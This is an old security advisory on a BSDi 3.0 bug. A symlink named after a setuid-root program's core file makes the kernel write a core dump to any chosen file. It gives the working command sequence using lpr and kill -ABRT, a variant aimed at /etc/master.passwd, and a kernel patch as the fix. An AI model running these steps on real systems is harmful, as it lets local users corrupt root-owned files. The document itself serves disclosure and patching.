COMMAND
	    core anomalies
SYSTEMS AFFECTED
	    BSDi 3.0
PROBLEM
	    A  small  and  neat  bug  in  BSDi 3.x allows people to arbitrarly
	    write files with crap for data, but not overwrite them. Like so:
	    Have a symbolic link,  called [programname].core to desired  file.
	    Program must be setuid root.
	
	        beep[ /tmp ] ls -la lpr.core
	        lrwxrwxrwt  1 root  wheel  9 Jun 19 20:30 lpr.core@ -> /etc/TEST
	        beep[ /tmp ]
	
	    Just to make sure that file doesn't exist:
	
	        beep[ /tmp ] ls -la /etc/TEST
	        ls: /etc/TEST: No such file or directory
	        beep[ /tmp ]
	
	    Run program.  (In our  case lpr  is convenient  since it waits for
	    tty input and suspends itself.)
	
	        beep[ /tmp ] lpr &
	        [1] 27886
	        beep[ /tmp ]
	        [1]  + Suspended (tty input)         lpr
	        beep[ /tmp ]
	
	    Kill it with the ABRT signal.
	
	        beep[ /tmp ] kill -ABRT %1
	        beep[ /tmp ] fg
	        lpr
	        Abort (core dumped)
	        beep[ /tmp ]
	
	    And voila:
	
	        beep[ /tmp ] ls -la /etc/TEST
	        -rw-------  1 root  wheel  184320 Jun 19 20:39 /etc/TEST
	        beep[ /tmp ]
	
	    This exploit is similar to the Solaris 2.4 core exploit - with a
	    few notable diffrences:
	        A.) BSDi doesn't give a  damn that the euid!=ruid, so  finding
	            a setgid program with priviliges isn't neccesary.
	        B.) BSDi  _does_ however,  check if  the file  exists, so it's
	            quite impossible to overwrite files.  Anyway, this is  not
	            100% true.  Try:
	
	        ln -s /etc/master.passwd /tmp/lpr.core
	
	            It seems if the permissions are 0600 on the file you  link
	            to it will overwrite the file.
	        C.) BSDi  _does_ change  the permissions  of the  core dump to
	            600, and it keeps on being owned by root, so changing  the
	            file is impossible as well.
	    Credit goes to Nir Soffer.
SOLUTION
	    Below is a  quick workaround until  you apply patch  M300-023 (for
	    3.0).  Until that, apply the patch to kern/kern_sig.c.  A real fix
	    would require  setting the  P_SUGID flag  in the  exec handler  in
	    kern_exec.c. (by [email protected]).
	
	    snip--------------------------------------------------------------
	    *** kern_sig.c.orig     Tue Oct 15 12:23:05 1996
	    --- kern_sig.c  Fri Jun 20 16:26:08 1997
	    ***************
	    *** 1198,1206 ****
	             * Don't dump if not root and the process has used set user or
	             * group privileges.
	             */
	    !       if (p->p_flag & P_SUGID &&
	    !           (error = suser(p->p_ucred, &p->p_acflag)) != 0)
	    !               return (error);
	            /* Don't dump if will exceed file size limit. */
	            if (ctob(UPAGES + vm->vm_dsize + vm->vm_ssize) >=
	    --- 1198,1208 ----
	             * Don't dump if not root and the process has used set user or
	             * group privileges.
	             */
	    !       if ((p->p_flag & P_SUGID || p->p_cred->p_ruid != p->p_ucred->cr_uid) &&
	    !           /*(error = suser(p->p_ucred, &p->p_acflag)) != 0)
	    !               return (error);*/
	    !           p->p_cred->p_ruid)
	    !               return EPERM;
	            /* Don't dump if will exceed file size limit. */
	            if (ctob(UPAGES + vm->vm_dsize + vm->vm_ssize) >=